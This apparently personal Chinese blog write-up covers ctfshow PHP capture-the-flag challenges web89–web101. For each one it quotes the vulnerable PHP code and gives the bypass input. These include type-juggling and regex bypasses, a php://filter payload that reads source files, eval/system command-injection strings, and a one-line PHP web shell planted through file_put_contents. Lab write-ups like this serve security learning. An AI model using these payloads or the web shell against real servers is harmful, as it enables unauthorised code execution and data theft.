PHP特性(ctfshow)

发布于 2024-09-29  1704 次阅读


web89

$num = $_GET['num'];
  if(preg_match("/[0-9]/", $num)){
      die("no no no!");
  }
  if(intval($num)){
      echo $flag;
  }
要求输入num没有0-9数字,这里使用数组绕过
?num[]=1

web90

    $num = $_GET['num'];
  if($num==="4476"){
      die("no no no!");
  }
  if(intval($num,0)===4476){
      echo $flag;
  }else{
      echo intval($num,0);
  }
直接字符串绕过即可?num=4476a

拓展
如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
如果字符串以 “0” 开始,使用 8 进制(octal);否则,
将使用 10 进制 (decimal)。
所以也可以输入八进制?num=010574

web91

$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){ //不分多行匹配,不分大小写
  if(preg_match('/^php$/i', $a)){ //不分大小写
      echo 'hacker';
  }
  else{
      echo $flag;
  }
}
else{
  echo 'nonononono';
}
补充知识
%09 tab;%0a 换行;%0c 新的一页;%a0 空格
i
不区分(ignore)大小写
m
多(more)行匹配
若存在换行\n并且有开始^或结束$符的情况下,
将以换行为分隔符,逐行进行匹配

根据题意,输入?cmd=%0aphp

web92

$num = $_GET['num'];
  if($num==4476){
      die("no no no!");
  }
  if(intval($num,0)==4476){
      echo $flag;
  }else{
      echo intval($num,0);
  }
这道题不能用字符串绕过了,所以用八进制绕过,详细看web90
?num=010574

web93

??还是用八进制绕过,该题过滤了字母,4476
但是不能用十六进制绕过了(十六进制0x,但是过滤字母)

web94

    $num = $_GET['num'];
  if($num==="4476"){
      die("no no no!");
  }
  if(preg_match("/[a-z]/i", $num)){
      die("no no no!");
  }
  if(!strpos($num, "0")){
      die("no no no!");
  }
  if(intval($num,0)===4476){
      echo $flag;
  }
这下终于不能八进制绕过了
?num=4476.0

web95

    $num = $_GET['num'];
  if($num==4476){
      die("no no no!");
  }
  if(preg_match("/[a-z]|\./i", $num)){// 点匹配没了
      die("no no no!!");
  }
  if(!strpos($num, "0")){
      die("no no no!!!");
  }
  if(intval($num,0)===4476){
      echo $flag;
  }
不能用小数解了
利用八进制开头加号代替空格绕过?num=+010574

web96

if(isset($_GET['u'])){
  if($_GET['u']=='flag.php'){
      die("no no no");
  }else{
      highlight_file($_GET['u']);
  }
}
尝试?u=flag.php不行,此地无银三百两
直接构造伪协议
?u=php://filter/convert.base64-encode/resource=flag.php
获取到一串base64编码,然后解码即可获得flag

web97

if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;

典型md5绕过类型题
使用数组绕过即可,虽然会报错,但是还是得到flag了
a[]=1 & b[]=2

web98

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
先了解三目运算符作用,还要学习引用传值(类似于c++的指针,地址)
$_GET?$_GET=&$_POST:'flag';
===============>示例
if(isset($_GET)){
$_GET=&$_POST; //$_get值为$_post的值
}else{
'flag';
}
所以得到,有get时,post值与get相同,
?a=1   post--> HTTP_FLAG='flag'即可得到flag

web99

file_put_contents($_GET['n'], $_POST['content']);
为写入函数,该处意义为写入名称为n,内容为conten的函数
直接写入一句话木马即可
?n=23.php post(content=<?php eval($_POST[1]);?>)
1=system("ls");得到flag36d.php tac访问即可

web100

$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);   //=优先级高于&,故v0赋值为v1
if($v0){
  if(!preg_match("/\;/", $v2)){
      if(preg_match("/\;/", $v3)){
          eval("$v2('ctfshow')$v3");
      }
  }  
}
看eval里面内容,只需要构造system即可
?v1=1 & v2=system(tac ctfshow.php) & v3=;

web101

$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
  if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
      if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
          eval("$v2('ctfshow')$v3");
      }
  }
}
上一道题的加强版,加入了更多的过滤,var_dump和system无法使用
这下要用reflectionclass获取值,什么是reflectionclass?看下面解释和运用
反射类可以说成是类的一个映射,可以利用反射类来代替有关类的应用的任何语句
$reflection = new ReflectionClass('hacker');//实例化反射对象,映射hacker类的信息
$consts = $reflection->getConstants();//获取所有常量
$props = $reflection->getProperties();//获取所有属性
$methods = $reflection->getMethods();//获取所有方法

提交? v1=2&v2=echo New Reflectionclass& v3=;
最后获取$flag_f02731180x2dace10x2d4d6d0x2dbdb50x2dbdff277d4ff
把0x2d文本替换成-即可
但是最后发现怎么也提交不上,与上一题对照发现少了一位,需要至多16次的爆破获取最后一位(最傻逼的题,没有之一)


人生苦难处,正是修行时